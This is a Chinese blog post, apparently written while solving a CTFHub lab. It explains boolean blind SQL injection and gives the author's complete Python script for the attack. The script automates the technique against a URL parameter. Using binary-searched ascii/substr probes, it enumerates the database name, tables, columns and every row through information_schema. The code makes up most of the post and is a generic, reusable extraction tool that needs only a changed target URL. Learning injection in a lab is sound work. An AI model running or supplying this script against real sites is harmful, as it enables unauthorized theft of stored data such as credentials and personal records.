背景
很久以前做过布尔盲注的题目,但是当时用的是网上的代码,跑出来flag了也是一知半解,没有收获。
今天花了一下午的时间写了一个布尔盲注的脚本。
介绍
布尔盲注使用场景的特征十分明显,即界面不会给出查询的具体结果,也不会给你报错信息。而只会告诉你查询成功还是查询失败。
这就需要我们去利用一些神奇的函数比如substr
,ascii
,length
来猜测。
猜测什么呢?首先猜测数据库的长度,知道了长度,就去猜数据库每个字符。知道了数据库,就去猜数据表的个数,表名长度,具体表名等等等等。也就是所有的一切都是你需要用上面的函数来猜出来的。
如果手工来实现这一过程,就会变得非常繁琐,这里我花了一个下午的时间写了一个盲注的脚本。
运行过程十分舒适和人性化。
import requests
from urllib.parse import quote
success_flag = "query_success" #成功查询到内容的关键字
base_url = "http://challenge-d41158772186d1b6.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
def get_database_length():
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and length(database()) = " + str(length)
url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
response = requests.get(url, headers=headers).text
if (success_flag not in response):
print("database length", length, "failed!")
length+=1
else:
print("database length", length, "success")
print("payload:", id)
break
print("数据库名的长度为", length)
return length
def get_database(database_length):
global success_flag, base_url, headers, cookies
database = ""
for i in range(1, database_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
database += chr(ascii)
print ("目前已知数据库名", database)
break
else:
id_bigger = "1 and ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据库名为", database)
return database
def get_table_num(database):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据库中有", num, "个表")
break
else:
num += 1
return num
def get_table_length(index, database):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("table length", length, "failed!")
length+=1
else:
print("table length", length, "success")
print("payload:", id)
break
print("数据表名的长度为", length)
return length
def get_table(index, table_length, database):
global success_flag, base_url, headers, cookies
table = ""
for i in range(1, table_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
table += chr(ascii)
print ("目前已知数据库名", table)
break
else:
id_bigger = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表名为", table)
return table
def get_column_num(table):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据表", table, "中有", num, "个字段")
break
else:
num += 1
return num
def get_column_length(index, table):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("column length", length, "failed!")
length+=1
else:
print("column length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "个字段的长度为", length)
return length
def get_column(index, column_length, table):
global success_flag, base_url, headers, cookies
column = ""
for i in range(1, column_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
column += chr(ascii)
print ("目前已知字段为", column)
break
else:
id_bigger = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表", table, "第", index, "个字段名为", column)
return column
def get_flag_num(column, table):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(" + column + ") from " + table + ") = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据表", table, "中有", num, "行数据")
break
else:
num += 1
return num
def get_flag_length(index, column, table):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("flag length", length, "failed!")
length+=1
else:
print("flag length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "行数据的长度为", length)
return length
def get_flag(index, flag_length, column, table):
global success_flag, base_url, headers, cookies
flag = ""
for i in range(1, flag_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
flag += chr(ascii)
print ("目前已知flag为", flag)
break
else:
id_bigger = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表", table, "第", index, "行数据为", flag)
return flag
if __name__ == "__main__":
print("---------------------")
print("开始获取数据库名长度")
database_length = get_database_length()
print("---------------------")
print("开始获取数据库名")
database = get_database(database_length)
print("---------------------")
print("开始获取数据表的个数")
table_num = get_table_num(database)
tables = []
print("---------------------")
for i in range(0, table_num):
print("开始获取第", i + 1, "个数据表的名称的长度")
table_length = get_table_length(i, database)
print("---------------------")
print("开始获取第", i + 1, "个数据表的名称")
table = get_table(i, table_length, database)
tables.append(table)
while(1): #在这个循环中可以进入所有的数据表一探究竟
print("---------------------")
print("现在得到了以下数据表", tables)
table = input("请在这些数据表中选择一个目标: ")
while( table not in tables ):
print("你输入有误")
table = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的字段数量")
column_num = get_column_num(table)
columns = []
print("---------------------")
for i in range(0, column_num):
print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
column_length = get_column_length(i, table)
print("---------------------")
print("开始获取数据表", table, "第", i + 1, "个字段的名称")
column = get_column(i, column_length, table)
columns.append(column)
while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
print("---------------------")
print("现在得到了数据表", table, "中的以下字段", columns)
column = input("请在这些字段中选择一个目标: ")
while( column not in columns ):
print("你输入有误")
column = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的记录数量")
flag_num = get_flag_num(column, table)
flags = []
print("---------------------")
for i in range(0, flag_num):
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
flag_length = get_flag_length(i, column, table)
print("---------------------")
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
flag = get_flag(i, flag_length, column, table)
flags.append(flag)
print("---------------------")
print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
quit = input("继续切换字段吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
quit = input("继续切换数据表名吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
print("bye~")
先给出github地址。
wuuconix/SQL-Blind-Injection-Auto: 自己写的SQL盲注自动化脚本 (github.com)
最后再给出演示视频。
https://www.bilibili.com/video/BV1fL411b7b8
战术总结
经过这次脚本的编写,我对布尔盲注的原理和实现方式都有了深刻认识。
同时提升了python脚本的编写能力。